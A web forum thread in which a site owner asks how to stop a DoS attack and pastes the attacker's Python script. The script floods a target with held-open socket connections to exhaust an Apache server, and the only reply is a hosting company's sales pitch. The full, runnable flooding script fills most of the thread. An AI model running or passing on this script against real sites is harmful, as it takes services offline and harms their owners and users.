| Register | FAQ | Members List | Calendar | Search | Today's Posts | Mark Forums Read | ![]() |
|
||||||
![]() |
|
|
LinkBack | Thread Tools | Display Modes |
|
|||
|
Hi,
I keep getting connection timeout on my site because of a DoS attack that is being used by someone to attack my site.. Is there anyway to prevent this from happening? The code being used below might help, this is a simple Apache DoS script coded in Python that connects to the target server and overloads it with socket connections. Code:
from os import *
from socket import *
from string import *
from random import *
from time import *
from thread import *
host = raw_input("Site you want down: ")
port = input("Port number: ")
def connect(i):
try:
sock1 = socket(AF_INET, SOCK_STREAM)
sock1.connect((host, port))
sleep(99999)
sock1.close
except:
print "The site is down"
n = 0
while 1:
try:
start_new_thread(connect, (n,))
except:
print "Connection Lost. Restart DOS"
print "FLOODING!"
sleep(0.1)
|
|
|||
|
Hello Karim,
Our Senior System Admins can help you to reverse such DDoS attacks. You should contact our Support Team when you face such problems. We have expertise in reversing DDoS attacks.
__________________
Web Hosting UK - ASP MSSQL Hosting - cPanel Linux Hosting AIM : webredback || msn : andrew @ webhosting.uk.com Toll Free : 0808 262 0855 |
![]() |
| Thread Tools | |
| Display Modes | |
|
|